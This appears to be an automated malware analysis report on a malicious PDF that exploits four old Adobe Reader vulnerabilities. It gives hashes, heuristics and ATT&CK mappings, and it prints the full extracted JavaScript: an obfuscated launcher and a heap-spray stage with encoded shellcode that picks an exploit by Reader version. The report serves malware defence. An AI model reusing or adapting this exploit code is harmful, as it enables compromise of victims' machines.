Malicious PDF — malware analysis report

Static analysis result for SHA-256 76e1a124bc8b578a…

MALICIOUS

PDF

25.3 KB Created: 2011-72-51 03:25:00 Authoring application: String.fromCharCode
MD5: 64ca462a429c86e4fc0bc8791cbad1bf SHA-1: 7e8c5c366bde54ce43233f2c6e91c5fd37429ad1 SHA-256: 76e1a124bc8b578a72e15fa3c820c7338acf09af2b5c23825420558968cd3000
516 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1059.007 JavaScript

The PDF file contains embedded JavaScript that exploits multiple known vulnerabilities in Adobe Reader (CVE-2009-4324, CVE-2009-0927, CVE-2007-5659, CVE-2008-2992). The deobfuscated JavaScript appears to be a stager designed to download and execute a second-stage payload, indicated by the heap spraying and shellcode-like content. The primary function of the script is to exploit these CVEs for client execution.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 11

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF metadata arithmetic JavaScript stager high PDF_INFO_ARITHMETIC_JS_STAGER
    PDF metadata hides JavaScript as arithmetic character-code tokens inside document information fields, then a launcher rebuilds it with String.fromCharCode and eval. The decoder is gated on metadata access from the launcher, a large arithmetic token table, and recovered exploit-like JavaScript.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js
1ac09a798c9f1542de3e5bf3ec8862a8dac8ee4a2843b2a8ae956ade86ced534		 pdf-javascript-stream PDF /JS object 1 at offset 0xA 556 bytes
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var date = new Date();
par='';
var q = date.getFullYear()-2007;
cky='2011s'.replace(date.getFullYear(),'hi');
wqgz=('tit2011').replace(date.getFullYear(),'le');
g=new Function('a','return t'+cky+'[a]');
var zxwei = g(wqgz);
unz=('sub2011').replace(date.getFullYear(),'ject');
var olbmo=g(unz).replace(date.getFullYear(),'al');
hfs=g(olbmo);
lgbpx='pro2011cer';
lgbpx=hfs('lgbpx.replace(date.getFullYear(),"du")');
svt=hfs(g(lgbpx));
xmm = hfs(zxwei);
for (i = 0; i < xmm.length; i++) {
	wobao = xmm[i];
	par += svt(wobao);
}
hfs(par);
info_arithmetic_stage_000.js
4e58769a22ed9ee253c3b8f957fbea97c47b33f69e740b09aeea23640364ca38		 deobfuscated-js PDF /Info Title arithmetic JavaScript at offset 0x2F5 3636 bytes
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var bjsg='%u9090%u9090%u16eb%u37b9%u0001%u8b00%u2434%uf789%u3e80%u74e9%uac06%u0a34%ue2aa%uc3fa%ue5e8%uffff%ue3ff%u0b06%u0a0a%u8b54%u56e6%u0a0b%u830a%u87ed%u1a45%u6587%u3b5e%u5dd1%u595b%u5959%u5959%u5959%u595f%u6259%u0b0e%u0a0a%u5c5f%u6259%u6465%u0a0a%u7f62%u6678%u5e67%u8462%u0444%ue2e6%u0a42%u0a0a%ue25a%u0a76%u0a0a%udaf5%uce89%u6202%ue545%u0f45%ue25a%u0a66%u0a0a%udaf5%uca8f%u1d7f%u5e60%uf953%u62a0%uf478%u1cb9%u17e2%u0a0a%u5a0a%u5be2%u0a0a%uf50a%u59da%uf460%u8362%u0b65%ue2b7%u0a02%u0a0a%ue25a%u0a36%u0a0a%udaf5%u3b6a%u6eca%u5a81%u813a%u0658%u5881%u811e%u2278%u12b3%u0a0a%u3b0a%u3bf5%ua6ca%u6b36%u0876%u2a26%uc5cb%u0b07%ue8cd%u8bfa%u51f5%u40b6%u8160%u1a48%u1881%ud37f%u4e83%u162e%uc96b%u816a%u2e66%u812e%u364f%u5e81%u720f%ue00b%u4081%u8112%u2a50%ue10b%u3ee9%u8143%u813e%ue40b%uf53b%uca3b%ua6f6%uca8e%u0d7e%uc5cb%u0b07%ue1cd%u31fe%u2e76%u7f22%u81eb%u2e50%ue10b%u816c%u4106%u5081%u0b16%u81e1%u810e%ue20b%u4e83%u162e%uc86b%u0a02%ue5e2%uf5f4%u62f5%u7e7e%u307a%u2525%u647f%u6768%u6924%u2465%u6969%u6e25%u7a24%u7a62%u6c35%u3837%u2c3c%u376f%u0a39';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}
ra=ra.substring(0,qy/2);return ra;} 
function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} 
var overflow=unescape("%u0c0c%u0c0c");while(overflow.length<44952){overflow+=overflow;} 
this.collabStore=Collab.collectEmailInfo({subj:"",msg:overflow});} 
function printf(){nop=unescape("%u0A0A%u0A0A%u0A0A%u0A0A");var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape("%u0A0A%u0A0A");headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} 
fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} 
mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} 
var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf("%45000f",num);} 
function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} 
var tUMhNbGw=unescape("%09");while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;} 
tUMhNbGw="N."+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}} 
aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}} 
if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){bx();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p@111111111111111111111111 : yyyy111',new Date());}
var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}} 
if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(bjsg);while(d.length<=0x8000){d+=d;}
d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}
a();a();try{this.media.newPlayer(null);}catch(e){}
a();}}

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